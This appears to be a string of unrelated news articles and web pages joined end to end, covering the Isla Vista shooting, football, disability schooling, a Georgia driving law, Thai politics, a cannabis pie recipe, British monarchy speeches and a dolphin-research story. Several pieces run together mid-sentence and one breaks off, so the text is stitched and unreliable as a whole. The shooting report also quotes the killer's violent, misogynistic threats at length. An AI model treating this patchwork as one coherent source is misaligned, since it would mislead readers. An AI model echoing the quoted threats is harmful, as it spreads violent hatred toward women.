The video is called Elliot Rodger's Retribution. Rodger, a Santa Barbara City College Student and Isla Vista resident, according to his social media accounts unleashed a tirade about his 'loneliness, rejection, and unfulfilled desires,' and blames women for preferring 'obnoxious brutes' to him, 'the supreme gentlemen.' 'I'm 22 years old and I'm still a virgin. I've never even kissed a girl,' he says in the video. 'College is the time when everyone experiences those things such as sex and fun and pleasure. But in those years I've had to rot in loneliness. It's not fair. You girls have never been attracted to me. I don't know why you girls aren't attracted to me. But I will punish you all for it,' he says in the video, which runs to almost seven minutes. He repeatedly promises to 'punish' women and lays out his plan for'retribution.' 'I'm going to enter the hottest sorority house of UCSB and I will slaughter every single spoilt, stuck-up, blonde s**t that I see inside there. All those girls that I've desired so much, they would've all rejected me and looked down on me as an inferior man if I ever made a sexual advance towards them,' he says. 'I'll take great pleasure in slaughtering all of you. You will finally see that I am, in truth, the superior one. The true alpha male,' he laughs like a maniacal movie villain. 'Yes... After I have annihilated every single girl in the sorority house I will take to the streets of Isla Vista and slay every single person I see there. All those popular kids who live such lives of hedonistic pleasure...' Horrified: Students survey the scene after the shooting that claimed seven lives Dystopian fantasy: Elliot Rodger (seen left) is the son of Peter Rodger, assistant director for The Hunger Games (seen second left), about an annual televised death match. Elliot Rodger is seen here at the film's 2012 premiere with Sylvester Stallone (right) College terror: Police investigate the bloody scene Family: Elliot Rodger (right) with his father (left) and a younger sibling, posted many videos to his YouTube account reminiscing about his happy childhood His YouTube account contains numerous other videos in which Rodger talks of his loneliness and anger at the women he says snub him.
He called police several weeks ago after being alarmed by YouTube videos'regarding suicide and the killing of people,' a lawyer said Saturday. Police interviewed Elliot Rodger and found him to be a 'perfectly polite, kind and wonderful human,' family attorney Alan Shifman said.
A three-week old video called 'Another sunny day in Santa Barbara' include the description 'I temporarily took all of my Vlog's down due to the alarm it caused with some people in my family. I will post more updates in the future.'
Rodger's Twitter account has only two tweets, posted on April 19 and 20. 'Why are girls sexually attracted to obnoxious, brutish men instead of sophisticated gentlemen such as myself? #girls #perverted #sex #unfair,' reads the first. Loneliness: Rodger says that his college years have been marked by solitude, while his peers have enjoyed'sex and fun and pleasure'
'Why do girls hate me so much?' he posted on April 20, along with a now-deleted YouTube video.
Rodger was on a website forum called PUAHate.com, which describes itself as the 'Anti-Pickup-Artist Movement' and aims to reveal 'the scams, deception, and misleading marketing techniques used by dating gurus and the seduction community to deceive men and profit from them.'
Its members are all men who have spent a lot of time and money on books and seminars and other materials that claim to help men 'pick-up' women - but failed.
The bitter, often misogynistic threads are full of tales of woe from men who don't know how to get women to date them and blame the women themselves for the problem.
He posted in 2013, 'If you could release a virus that would kill every single man on Earth, except for yourself because you would have the antidote, would you do it? You will be the only man left, with all the females. You would be able to have your pick of any beautiful woman you want, as well as having dealt vengeance on the men who took them from you. Imagine how satisfying that would be.'
Rodger's actions have been lauded on the site by other members who have called him a 'hero.'
Brown said the shootings occurred at several sites in the town, resulting in ten crime scenes.
Santa Barbara County sheriff's spokeswoman Kelly Hoover told KEYT-TV the gunfire broke out around 9:30 p.m. Friday in the Isla Vista neighborhood.
A student told the station he saw shots fired from a BMW, fatally striking one woman and critically injuring another woman.
'I heard shots, scream, pain,' Michael Vitak said. 'All emotions. I hope she is going to be fine.'
The station said a black BMW slammed into as many as two cars.
The shooting prompted officials to issue alerts urging people to stay indoors.GERMANY’S veteran striker Miroslav Klose has said he will be “100 per cent” ready for next month's World Cup in Brazil, where he aims to break the tournament's goal record.
With 14 goals at three previous World Cup finals, the 35-year-old Klose is just one short of Brazil striker Ronaldo's record of 15 for the all-time goal-scorer.
As one of only two strikers in the squad, the veteran says he will be ready when Germany open their Group G campaign against Portugal in Salvador on June 16 after being blighted by injury at his Italian club Lazio from the end of March until the start of May.
“I assume I will be 100 per cent ready for the tournament,” said the ex-Bayern and Werder Bremen star from the German team's training camp in north Italy.
“I feel good and I'm on the right path.
“The fitness coaches knows me very well and they know exactly what I need, so everything is moving in the right direction.”
Klose said his priority is to the team, rather than claiming goal records.
“For me, the main thing is to be fit and the most important thing is the team,” he said.
“I am convinced that when the team plays well, then the striker will also get his chances.
“But anyone who knows me is aware that the goal-record is a target of mine.”
Germany play the USA and Ghana in their other Group G matches.
Lars Bender is out of the World Cup. Source: AFP
There was bad news from the German camp as defensive midfielder Lars Bender, 25, was ruled out of Brazil 2014 with a thigh injury.
“We all know what a good footballer Lars is and he played a good season,” said Klose.
“You need good players like that and I am really sorry for him that he is now injured.”
While Klose has always played as a striker, but says he can just as easily slot into the attacking midfield if needed.
“Basically, I can play the 'False Nine', but regardless of who has experience, at the end of the day the coach makes the decision,” said Klose.
“I just want to train so that the World Cup doesn't pass me by.”Tim founded GeeklyInc with Michael DiMauro way back in 2013 when they realized they had two podcasts and needed a place to stick them. Since then, Geekly has grown and taken off in ways Tim could have never imagined.
The Temple of Salanae stands in front of our brave heroes. A thought scratches at the back of each of their minds – are we ready to face the defenders of this sacred place? What terrible defenders block our way? Luckily, past these doors the means to move Nareev will finally be in their hands. This whole goopy mess can put behind them and the traitor Jett Razor can be punished.
The adventure continues with Steve Melloncamp (Mike Bachmann), Aludra Wyrmsbane (Jennifer Cheek), Jaela (Nika Howard), Toby Treacletart (Tim Lanning) and your Dungeon Master (Michael DiMauro). Don’t forget to follow our editors Steph Kingston (@stephokingston) and David Stewart (@spudcam)!
Podcast art by @thedogleech! Want the world to see your fan art? Tweet it with #DrunksAndDoodles or head on over to the forum.August 23, 2014 in Books (F)
[prMac.com] Battle Creek, Michigan - Indie author Tracy Falbe of Battle Creek, Michigan announced a promotional preorder price for the Beginnings Box Set: Three Fantasy Series Starters. Currently available in over 50 countries through the Apple iBooks store, the fantasy collection contains the novels Rys Rising, Union of Renegades, and Werelord Thal: A Renaissance Werewolf Tale.
Until its official worldwide release on Sept. 6, the Beginnings Box Set will be only $0.99 as an ebook preorder for the iBooks platform that enables ebook reading on iPhones, iPads and Mac computers. After Sept. 6 the price will rise to better reflect the entertainment value of the three novels that together total over 500,000 words.
"I'm offering the near-giveaway price on this box set during the preorder period to gain some initial momentum in the market when it releases. Fans of fantasy fiction benefit from the tremendous amount of reading they get for only $0.99," Falbe explained.
The three novels in the box set are the first parts of the three fantasy series written by Falbe: Rys Rising, The Rys Chronicles, and Werewolves in the Renaissance. She began writing fiction in 1997 and has been working on novels continually ever since. She is planning the release of her tenth novel Journey of the Hunted: Werewolves in the Renaissance 2 this November.
About the fantasy novels in the box set:
Rys Rising: Book I - Distinguishing itself with 5-star ratings at the U.S. iBooks store, this epic fantasy tells of the battle between the magical rys and their oppressive creators the tabre. Right now this novel retails for $0.99 at iBooks.
Union of Renegades: The Rys Chronicles Book I - As the very first novel ever published by Falbe, it has a 4.5 star rating at iBooks. Set in the magical world of the rys, it launches as epic clash of civilizations amid a romantic plot. This is a free ebook at iBooks.
Werelord Thal - Enjoyable as a stand-alone novel, it begins the Werewolves in the Renaissance series when the werewolf hero Thal hunts down the killers of his witch mother in 1561 Bohemia. The novel draws upon the folklore of the era and blends it into a carefully crafted historical fantasy. Currently this novel sells for $3.99 at iBooks.
Box set collections of ebooks are a popular trend among readers seeking the most content for the lowest price. Authors like Falbe use box sets as low-price high-value offers to attract readers in a competitive marketplace. Tracy has been publishing her fiction since 2006. All of her titles are distributed to major ebook retailers worldwide. They are also available through her web store Brave Luck Books online where she can be easily contacted by email.
Fans of Falbe's fantasy fiction praise her characters for feeling real and love her thought-provoking themes of empire, slavery, and independence in magical worlds. "I know readers, especially avid readers, have to watch their budgets. I'm hoping to connect with more fantasy fans with this preorder deal that is hard to say no to," Falbe said.
Falbe Publishing was founded in 2005 to produce fiction and nonfiction written by Tracy Falbe. Her titles are available worldwide in multiple formats and are listed at major retailers. Copyright (C) 2005-2014 Falbe Publishing. All Rights Reserved. Apple, the Apple logo, iPhone, iPod and iPad are registered trademarks of Apple Inc. in the U.S. and/or other countries.
###The parents of over a quarter of Chinese students with disabilities have – at some point – been asked to pull their students out of mainstream schools, a new survey has found.
The survey was released in early March at an event organised by Inclusion China – a non-profit which supports the parents of children with mental disabilities – and international NGO Save the Children.
It found that 27 per cent of the parents of children with disabilities who enrolled in regular schools said that they have previously been asked to withdraw their children. The survey, conducted in conjunction with Beijing Normal University and Beijing Union University, included responses from 2,366 parents across seven locations, including Beijing and Guangzhou.
Lack of training
According to state outlet China Daily, the survey found that a lack of trained teachers is a core obstacle to developing inclusive education. It said that 77 per cent of teachers have, or are currently teaching, students with special needs, yet 60 per cent said they have never received training for it. Less than 30 per cent said they have received sporadic training.
The most recent statistics released by the China Disabled Persons’ Federation (CDPF) in 2014 said that, in 2013, 72.7 per cent of children with disabilities from ages six to 14 received compulsory education, compared with the government’s claim that nearly all children without disabilities receive compulsory education. The government set a goal in 2014 to raise the ratio to 90 per cent and above within three years.
Parallel system
Currently, China has two parallel systems of education – special education schools where students are segregated according to their disabilities, and mainstream schools for students without disabilities. International standards call for an inclusive education system at all levels, which means that students with disabilities learn alongside students in their local schools and are given support to learn and participate.
A 2013 report from US-based NGO Human Rights Watch found that discrimination against those with disabilities exists at all levels of education in the mainstream system.
“Schools sometimes deny enrollment outright, but they are often more subtle, convincing the parents to take their children out of the schools with a variety of arguments. Schools sometimes place conditions on parents, such as requiring that they accompany their children to and in school every day, before they allow their children to study in the schools,” it said.
In one recent incident in December, parents at an elementary school in Beijing protested with banners against the inclusion of disabled children and pulled their children out of class for three days “for their safety.” They called upon the school to take action over a student whom they claimed had autism and was disrupting the class. They also asked for her to be moved to a different school, according to k618, an official news outlet focused on education.
New rules on education for people with disabilities were passed in January to replace previous regulations from 1994. The government says they will promote inclusive education and prevent discrimination during school admissions, but they are unlikely to substantially change the current environment in which mainstream schools only admit children with physical or mild forms of disabilities and exclude others, New York-based NGO Human Rights Watch said.
Bo Shaoye, a member of China’s top political advisory body and an official at the China Foundation for Disabled Persons, called for “zero rejections” of students with disabilities, according to state newspaper the People’s Daily.
He said that human resources are the key to promoting inclusive education and called for inclusive education training for teachers. He also called upon government’s education departments to increase the role of special education schools in developing the standardised admissions system for students with disabilities, and to combine training for special education teachers and teachers in the mainstream system.In the mornings when 16-year-old Oksanna and her 15-year-old younger brother Alex hurry to school, they take their turns in front of the computer and sign on to Skype.
On the other end of the connection is their sign language teacher Narine Stepanyan, who works with them on their studies every day. She said that she receives silent answers, expressed with hand gestures and by mouthing words and phrases.
Oksanna and Alex Avanesyan, who live in the village of Tchartar in Artsakh’s Martouni region, are both deaf. Their mother Inna Avanesyan said that their deafness was detected when they were 2-3 years old.
“Oksanna has about 6 percent hearing while Alex has around 7 percent,” Inna Avanesyan said. “That percentage actually decreased over time since they couldn’t get adjusted to hearing aids. They couldn’t hear anything, which is why they didn’t wear them.”
The children lived in Stepanakert for three years at Boarding School #1 where they learned in a special classroom only through the fifth grade. The family also moved to Stepanakert for two years.
“Our third child had a health problem so we had to return to Tchartar,” Inna said.
In September 2014, the Republic of Nagorno-Karabakh Ministry of Education’s Assessment and Testing Center arranged distance-learning courses for deaf children in the region. In the 2014-2015 school year 11 children participated and the Ministry of Social Welfare provided computers.
Inna said they have their own comfortable way of communicating with gest ures but not sign language, which she didn’t learn. Both parents say that their children do not have problems communicating with their peers.
“They aren’t different from their peers.They socialize with their friends and even watch television,” Inna said. “When they were little they would become frustrated when they couldn’t make us understand what they wanted.”
When I asked them what they wanted to do when they finish school, they both smiled and looked at Inna. Oksanna made a scissor cutting gesture with her fingers and brought her hand to her hair. She wants to become a hairdresser. Alex hasn’t yet decided but his parents say that he is dexterous and from an early age he has always figured out automobiles.
Deaf Children Need Socialization
The special classroom for deaf children in Artsakh has been operating for 15 years. Since 2008 the class has been run at Stepanakert’s Middle School #9. Sign language teacher Aida Sevlikyan, who has been working with deaf children since 1998, said that there were other classes for deaf children in the city’s High School #11, where measures for physical and cultural education were better suited than in school #9.
Artur Andonyan, the principal of school #9, said that deaf students are given the opportunity to participate in various school activities.
Sign language teacher and psychologist Susanna Hayrapetyan has been working with deaf children for 15 years.
“We presently have two classrooms—middle and elementary,” Hayrapetyan said. “Both of them are mixed. The middle student classroom has four groups, which is nonsense when you consider that in the same classroom you have students from the first to the fourth grades who are not only deaf but also have other illnesses (down syndrome, cerebral palsy, etc.). A particular approach is needed for those types of children.”
Deaf students currently receive a complete school education. Experts in the Ministry of Education’s Center for Evaluation and Testing (CET) make curriculum-related decisions.
“We don’t always agree with the CET on decisions related to a particular student’s schooling,” Hayrapetyan said. “For instance, they prepared a curriculum for a deaf child guided by public education standards for a child with cerebral palsy. I don’t think that wasn’t the right thing to do, especially when it’s impossible to implement such instruction.”
She regrets that a full study has not been conducted to determine the necessary conditions for children attending school. Socialization and communication between the students are important, but they have no other means to do so outside of school.
“Not only that, one-on-one instruction was being conducted on account of the lack of contact with children, but we don’t know why those classes were cut,” Hayrapetyan said. “A young student would receive a single one-hour lesson per week while the older ones would have a 40-minute lesson.”
Middle grade subject teachers work with translators, while elementary grade teachers are trained to instruct in sign language.
Hayrapetyan believes that sending deaf students to public schools is an inhumane practice. They should instead be receiving individualized training.
The Deaf Aren’t Given Employment; Taking Responsibility an Issue
In Artsakh, placing people with disabilities for employment is a problem. Not all employers are prepared to give them jobs and provide the proper working conditions for them. Karabakh Carpet is one of those rare exceptions where today six deaf people are working. It is the only company that is currently employing the Deaf.
The head of production at Karabakh Carpet, Hasmik Mkhitaryan, admits that working with them was difficult at first but the staff now understands their gestures and interaction has become easier. Mkhitaryan now wants to hire two to three additional deaf employees and train them to become carpet weavers.
“Experience has shown that the deaf employees are more productive than the others,” she said. “Not only that, they also produce high quality work.”
Despite his young age, 20-year-old Boris Asryan, a carpet weaver from Stepanakert, is one of the most skilled workers at Karabakh Carpet, where he’s been employed for more than a year.
Boris said that he wanted to be a florist but couldn’t find work at a floral shop in Stepanakert. For now, he is satisfiedwith weaving floral designs into the carpets and making flowers out of paper at home.
“I love designing flower arrangements most of all,” he said. “But no one wants to give me a job in a floral shop.”
Center for the Deaf sign language translator Nazik Mouradyan confirmed that placing the Deaf in jobs is very difficult.
“The reality is that many employers aren’t employing the Deaf not because they don’t want to, but because they are afraid of taking responsibility,” she said. “Moreover, not everyone can understand sign language.”
The Center for the Deaf has registered a total of 196 deaf individuals in Artsakh, 43 of which are 16 and under.Mutual Decision Reached by Pack/Harrow
April 26, 2011
RALEIGH, N.C. - NC State head men's basketball coach Mark Gottfried has announced that he and rising sophomore guard Ryan Harrow have reached a mutual decision that Harrow will transfer to another program.
"We wish him well and will do anything we can to assist him in this process," said Gottfried, who added that he would release Harrow to any school except one in the Atlantic Coast Conference.
"I think this staff will do good things here at NC State," said Harrow. "The year off will help me improve in many ways and I think the decision is the best for me personally."
Harrow played in 29 games, starting 10, and averaged 23 minutes per contest for the Wolfpack in 2010-11.Under the law, drivers face felony charges if they are caught driving without a license four times within five years. Violators face up to five years in prison and fines between $2,500 and $5,000. Ostensibly passed to promote public safety, the “felony driving law” has been discriminatively applied to communities of color, leading to remarkably disproportionate arrests of blacks and Latinos in at least three majority white counties in the state, according to a report published today by the Georgia Latino Alliance for Human Rights (GLAHR) and Advancement Project, a D.C.-based civil rights organization.
A GEORGIA LAW aimed at keeping unlicensed drivers off the streets is having a disproportionate impact on black and Latino communities in the state, sweeping them into a cycle of debt and criminalization that feeds local counties’ budgets while putting otherwise law-abiding undocumented immigrants at risk of deportation.
Undocumented immigrants cannot legally obtain driver’s licenses in Georgia, and critics say the bill, signed in 2008, was one of many passed by states to restrict immigration. But by lumping unlicensed driving and driving with a suspended license under the same category, the law has also swept up a significant number of African-Americans in a state that already had one of the country’s highest incarceration rates.
“Even though the law was written to specifically target unlicensed immigrants, because of the way that they created this large category for a felony conviction, they also are pulling in a lot of African-Americans,” said Flavia Jiménez, a lawyer at Advancement Project and a lead researcher on the report. “That’s the danger of mixing these overly harsh criminal laws with immigration enforcement.”
After being alerted to the growing number of arrests for unlicensed driving by an immigration hotline, researchers obtained public arrest records for Fayette County, Houston County, and Roswell City. They found that Latinos and blacks in these counties make up a minority of the population but the overwhelming majority of those arrested under this law. The researchers said that traffic stops, often over broken taillights, failure to signal, or other minor infractions, revealed a clear pattern of racial profiling and a readiness to penalize people who have not committed any crimes other than unlicensed driving.
In the Latino community, in particular, where many families comprise U.S. citizens as well as documented and undocumented immigrants, encounters with law enforcement have become a source of terror.
In one incident described in the report, an undocumented man driving with his three daughters was threatened by an armed man who quickly fled the scene. When one of the girls called police, officers asked her father for his driver’s license. When he couldn’t provide it, police arrested the man in front of his children.
That kind of experience is something Latino and black residents, undocumented or not, share all too often. When the law was first proposed, in January 2008, black legislators voted against it, fearing racial bias in its application.
“I have a certain sensitivity to racial profiling, or as they say in the community, ‘driving while black,’” Sen. Emanuel Jones told local reporters at the time. “I’ve been pulled over for no reason other than I’m driving in a new car and I happen to be black.”
“How can I explain to my constituents that I just made it easier for this to be a felony?”
“Our worst nightmare has come true,” he told The Intercept when he learned of the report’s findings.
Concerns about racial profiling proved to be well-founded
For instance, in Roswell City, a suburb of Atlanta, Latinos make up 13.1 percent of the population but 63 percent of those arrested under the law. Whites make up 75.4 percent of the population but 8.4 percent of the arrests.
In Fayette County, blacks make up 21.4 percent of the population and 65.8 percent of the “felony driving” arrests, while Latinos account for 6.9 percent of the population and 17 percent of the arrests. Many Latinos in the community live in a large trailer park with only two access points, Jiménez said, and officers frequently set up checkpoints at both ends.
“It’s pretty clear that the way that this law is being enforced is targeting individuals whom these police officers absolutely know are undocumented. They know they don’t have driver’s licenses, they know they have families to feed,” Jiménez said, pointing to the lack of public transportation alternatives. “Families really feel under attack, they feel very much harassed.”
Houston County only records the ethnicity of those arrested as black or white, leaving investigators to estimate the number of Latinos affected by looking at their last names. “They don’t even see the racial profiling as an issue,” Jiménez said. There, it’s mostly African-Americans, who make up 28.15 percent of the population and 64.96 percent of the “felony driving” arrests, who bear the brunt of the law.
“What happened is that a law that was intended to have a discriminatory impact on one group, had a discriminatory impact on another group,” Francys Johnson, an attorney and the president of the NAACP’s Georgia chapter, told The Intercept. “That should not surprise anyone. This is part of a scheme of laws designed to target immigrants in Georgia, designed to foster a climate that sends a strong message to immigrants that you’re not welcome. And African-Americans know well that message, we operated under Jim Crow laws for years.”
“What this also does is continue to drive a wedge between these communities and law enforcement,” he added. “When you have a policy that’s not designed to serve and protect but rather to target a group, it should not be any surprise to people that this law should also drive the community and the police further and further apart.”
Officials for Houston County and Roswell City did not respond to requests for comment. Randy Ognio, vice chairman of Fayette County’s board of commissioners, said he was not aware of the report’s findings but didn’t think the law was being applied “disproportionately.”
“If they are driving without a license, and they get caught so many times, whether it’s Hispanic, white, black or whoever, they’re gonna get a felony on their record,” he told The Intercept.
Immigrants Face Deportation for Traffic Violations
For undocumented immigrants with no access to legal licenses, any traffic stop is a cause for concern, but a felony conviction risks setting deportation procedures in motion.
In November 2014, the U.S. Immigration and Customs Enforcement (ICE) agency circulated a memo describing as immigration enforcement “priorities” individuals posing a threat to national security, public safety, and border security.
“This includes aliens convicted of an offense classified as a felony in the convicting jurisdiction, other than a state or local offense for which an essential element was the alien’s immigration status,” Bryan D. Cox, a spokesperson for the agency, told The Intercept in a statement. Driving without a license does not count as an immigration-related offense, even though immigration status is the reason why undocumented drivers can’t obtain licenses in the first place.
The ICE memo also called for “prosecutorial discretion” and consideration for individual circumstances while responding to violations, but advocates like Jiménez maintain that those with a mere driving violation, even when classified as a felony, are not criminals and should never fall under those priorities.
In one case documented by the report, a woman said that her husband was deported after being arrested for driving without a license, leaving behind three children who are U.S. citizens. He had no other criminal history. When local immigration advocates became aware of similar cases, they lobbied enforcement officials, pointing to the harshness of the Georgia law, and successfully obtained the release of the individuals involved, Jiménez said. “But it’s unclear how many people have fallen through the cracks.”
Ignacio Portillo, an undocumented father of four who owns a small construction business, just hit his third strike yesterday, when he was pulled over for “failure to dim headlights” and arrested for driving without a license. The previous two times, he had been fined and sentenced to spend several weekends in jail, where along with several other Latino men, he was put to work on construction projects.
Portillo, who is from Mexico and has lived in the U.S. for 16 years, said he moved to Georgia from Texas to start his business and send his children — including two U.S. citizens — to better schools. But since moving there, he has experienced more discrimination. He was released yesterday after his wife paid $1,408.75. He said being unable to drive would put him |
gives for demanding a parliament which is part-appointed. Such an attitude infuriates Ankham Ratanasingha, who runs a small farm with her husband just outside Udon Thani. She had to leave school at 10 years old, but takes pride in having educated her two children to university level. "If the PAD cannot convince me that their version of democracy will help grass-roots people like me, then I will fight them to my last breath," she said. "They should treat us with respect, not as people they can just squash under their feet." "The problem of Thai political crisis is a class struggle", says Attajak Satayanutak, an academic from Thaksin's home town Chiang Mai. "We have a wide gap between rich and poor. The poor did not receive anything from the state for a long time. Then, for the first time, Thaksin gave this opportunity for them." The affection for Thaksin Shinawatra has held up remarkably well in the north-east, a poor and arid region known as Isaan. Local people say his populist policies, like universal healthcare and the village loan scheme, brought big improvements to the quality of their lives. But time and again they cite something else - dignity. They told me he offered them the hope of improving themselves, without making them feel small, or humble. If the military mounts another coup, this time the country will split, and there will be civil war
Thaksin supporter His darker sides - abuses of power, human rights violations, arrogance - were brushed aside as less important. Isaan has long been the butt of jokes in Thailand. It has a culture and language closer to that of neighbouring Laos than the central plains around Bangkok. It supplies much of the cheap, migrant labour to the capital. But it has one valuable asset Thaksin Shinawatra identified as he began planning his bid for power in the late 1990s - voters, around one third of the total. He was the first politician to court them directly, with appealing policies, rather than relying on the local godfathers to deliver their support. In doing so, he has awoken a new political self-awareness in a previously passive region. And Isaan people are furious about the comments they are hearing from the PAD in Bangkok. "Those who think Isaan people blindly follow Thaksin Shinawatra have an outdated image of our region," I was told by Puttakarn Panthong, a local politician who is not affiliated with Mr Thaksin's party. "They have better education now, and they understand who and what they are voting for." Stuck in exile So at the first of the big rallies in Bangkok, the former prime minister's phone-call, from somewhere overseas, was the most eagerly awaited moment of the night. Politician Chaturon Chaiseng's song made the link with past class struggles A huge roar went up from the 60,000 red-shirted faithful as his voice came over the speakers, asking: "Have you missed me?" There were more than a few tearful faces in the crowd. But this was also a carefully-choreographed event, intended to send out a signal to the PAD and its royalist backers, that they face formidable opposition. The crowd was far larger than any the PAD has managed to attract this year. Aside from Mr Thaksin, the highlight of the night was a song sung by Chaturon Chaiseng, one of the most respected politicians in the Thaksin camp. He was also once a left-wing activist who took up arms against the military during the communist insurgency of the last 1970s. And the song he chose was written by one of his comrades-in-arms, which tells of the sadness of a young rebel unable to return home. The reference, or course, was to Mr Thaksin, stuck in exile, facing a two-year prison sentence if he comes back. But it also connected his poor, rural followers today, with the class conflicts of Thailand's past. Behind Mr Chaturon they held up the words "NO MORE COUP" in bold red letters. It seemed more of a warning than a plea. One man turned to me and said: "If the military mounts another coup, this time the country will split, and there will be civil war."
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StumbleUpon What are these? E-mail this to a friend Printable version‘Tis the season for pumpkin pie! From as early as September until New Year’s Eve, pumpkin pie reigns supreme among the seasonal dessert selection. What’s extra great about pumpkin pie besides its delectability is how hardy it is. From Costco to Grandma’s homemade, I’m almost always pleased. So naturally, when I find a resilient dish like this, I push it to its limits. Can it taste good and have nutritional value? Everyone likes Oreos, for example, but such is not the case for brussels sprouts.
I give to you a recipe for cannabis-infused raw pumpkin pie that is meat (haha), dairy, and grain-free. Although I wouldn’t tout its nutritional benefits, it should keep things running smoothly in that precious body of yours. And, to make up for any taste degradation or other disappointment attributed to defaming this dessert hero into an uncooked, animal protection weapon, it’s spiced up with cannabis. Consider it a sugar coating.
Recipe for Cannabis-Infused Pumpkin Pie (Raw, Vegan, & Paleo)
Cannabis Product:
8 servings Cannabis Oil
Ingredients:
Crust
1 1/2 C almonds
2/3 C raisins or dried cranberries
1/4 C coconut, shredded
1-2 tsp vanilla or water
Filling
2 C pumpkin, cubed
3/4 C dates, pitted
5 T almond milk
1 tsp cinnamon
1 tsp vanilla
1/2 tsp pumpkin pie spice
4 T cannabis oil + coconut oil, melted
Note: If 8 servings of your medicated oil is less than 4 T, add coconut oil until you have 4 T of oil.
Hardware:
Food processor
Blender
Pie tin
Directions:
Using a food processor, blend the almonds into a flour. Add the raisins. Finish with the coconut and vanilla. Add up to a teaspoon of water to adjust the consistency (the mixture should hold when pressed). Press the mixture into the bottom of a pie tin. Using your blender, combine the pumpkin, almond milk, spices, and vanilla into a liquid. Add the dates. Finish with blending in the oil mixture. Pour the filling into the crust. Refrigerate for a minimum of 6 hours. Bon appetit!
Note: The amount of cannabis oil specified in this recipe is a very loose suggestion; the actual amount you use should be modified based on the strength of your cannabis oil and the potency you desire. Dosing homemade edibles can be tricky (click here to learn why), so the best way to test for potency is to start with one portion of a serving, wait one to two hours, then make an informed decision on whether to consume more. Always dose carefully and listen to your body, and never drive under the influence of cannabis.
Lead image bymphillips007/iStock Image sources: 1, 2By Paul Goodman
Follow Paul on Twitter.
Contrary to appearances, this column isn't a collective advertisment for the speeches of Jacob Rees-Mogg on the monarchy. But they tend to be so quotable as to compel reporting. The member for North East Somerset spoke yesterday during the committee stage of the Sovereign Grant Bill yesterday. He made five main points:
Members of Parliament who offend the Monarch should be imprisoned in the Tower of London.
"The shadow Chancellor concluded his remarks by saying that he had looked up the Commons Journal for 1760. He is, of course, a very modern man. I went a little earlier and looked up the Commons Journal for 1575. I thank the Library for its assistance in helping me to find what I was looking for. I was looking for the behaviour of the House towards a Mr Peter Wentworth, a man who represented a Cornish seat and had the temerity to criticise the then sovereign, Elizabeth I. He said that
“none is without fault, no, not our noble Queen”.
For this “prepared speech” and
“divers offensive matters touching Her Majesty”
he was taken prisoner to the Tower and held there for a month at the insistence of the House of Commons. I must say that I think they knew how to behave in 1575, and it is a model for us today."
The Crown Estate is ultimately the property of the Monarch.
"I want to come on to who really owns the Crown Estate, because that is important in this discussion. That is why I intervened on the Chancellor, and I am grateful to him for taking my intervention. It is important to remember that the Crown Estate is the property of the sovereign in an ultimate sense, though gifted for a reign. The importance of that is that the sovereign therefore has a right to ask for money. One might think that they would get the money anyway, but sovereigns have been promised money by Parliament that has been stopped. One just needs to go back to Charles II, who handed over all his feudal dues to the Government for £100,000 a year in perpetuity for all his heirs and successors. I am not sure that that £100,000 has been paid once in the last three hundred and some odd years. The Crown, by virtue of owning the Crown Estate, can guarantee that it is entitled to a revenue. The fact that at the beginning of each reign it could theoretically demand the Crown Estate back is important reassurance and a reassertion of that right."
The Queen is the highest-paying taxpayer in the country.
"I therefore go back to my point, which the hon. Member for Newport West (Paul Flynn) dislikes, that the Queen pays an 85% tax rate. There would be £200 million or more in income for the Queen every year, but in fact there will be only about £30 million. So Her Majesty is the highest-paying taxpayer in this country. Members of Parliament might like to think that we could do a deal with the Government, hand over our salary and be given £9,000 a year back."
The monarchy is worth the money.
"…we have to pay for the constitution that we have. The Queen is not here to bring in tourism and things like that. She is here as an essential part of our constitution. That is why it is worth the military taking on the costs of sending attachés and so on and so forth. The military owe their loyalty to the Crown, not to politicians, senior generals or people who could abuse that power to change how this country is run.
Our constitutional settlement, which works extraordinarily well and has worked well for hundreds of years, is worth paying for. On that basis, we get stability as a nation and the effective operation of our constitutional system. The judges owe loyalty to the Crown; the military owe loyalty to the Crown; we, as Members of Parliament, swear an oath to the Crown. It is the Crown that is at the pinnacle of our constitution, outside and above politics and a defender of our liberties. Indeed, as Charles I said at the scaffold, he died the martyr of the people, because he had been defending the liberties of the people, as the Queen has done now for jolly nearly 60 years. We must be willing to pay the right price for our constitutional settlement, and I think that should be a generous price."
God Save the Queen!
"…it is of serious concern to me that the Public Accounts Committee could spend time looking at the £35 million spent on the sovereign grant rather than at the £6 billion that was wasted by the Ministry of Defence. We really do not want to get into a situation in which the PAC concentrates on something that is de minimis in the broader scheme of things because that is more appealing in terms of publicity.
Let me conclude—[ Interruption. ] Thank you. Let me conclude with the words of Her Majesty on her 21st birthday in South Africa:
“I declare before you all that my whole life whether it be long or short shall be devoted to your service and the service of our great imperial family to which we all belong.”
Mr Evans, God save the Queen".Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
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A woman who had sex with a dolphin as part of a scientific study has spoken out for the first time.
During the swinging 60s, animal researcher Margaret Howe Lovatt was part of a Nasa-funded experiment on the US Virgin Islands to teach the intelligent sea creatures how to speak English.
In 1963 she helped turn a house into a domestic dolphinarium by flooding it with knee-deep water, where researchers could study the animals from their home.
It was there she met Peter, an adolescent dolphin she described as'sexually coming of age'.
As the two bonded, their relationship soon progressed to a more physical level.
Margaret said: "Peter liked to be... with me. He would rub himself on my knee, my foot or my hand and I allowed that.
"I wasn't uncomfortable - as long as it wasn't too rough. In the beginning I would put him on the elevator and say you go play with the girls for a day.
"It was just easier to incorporate that and let it happen, it was very precious and very gentle, Peter was right there, he knew that I was right there."
Margaret claims this became a regular part of her studies, as she tried to teach Peter to speak English.
She added: "It was sexual on his part - it was not sexual on mine, sensuous perhaps.
"It would just become part of what was going on like an itch, just get rid of that we'll scratch and we would be done and move on.
"I was there to get to know Peter, that was part of Peter."
But what started with Sixties idealism would spiral into the darkness of the decade.
The experiment would end in tragedy, and for years after there would be rumours of the dolphins suffering drug abuse with LSD tests and scandal over the nature of Margaret’s relationship with Peter.
Margaret said: “I’ve had a good bunch of letters from people asking if they could interview me, but I’ve not done any of it."
A new BBC documentary The Girl Who Talked to Dolphins will be screened at the Sheffield Documentary Festival on Wednesday, June 11, before making its way to BBC4 on Tuesday, June 17.
Surprisingly it's not the first time a human has forged a sexual relationship with a dolphin.
Malcolm Brenner, 63, had a six-month sexual relationship with 'Dolly' the dolphin at an amusement park in Florida in 1971.
He told how the female mammal 'came on' to him while he was in the pool with her.
They then waited until the water park had closed for the day and her male companion had been put away before getting it on.
Read the full story here.
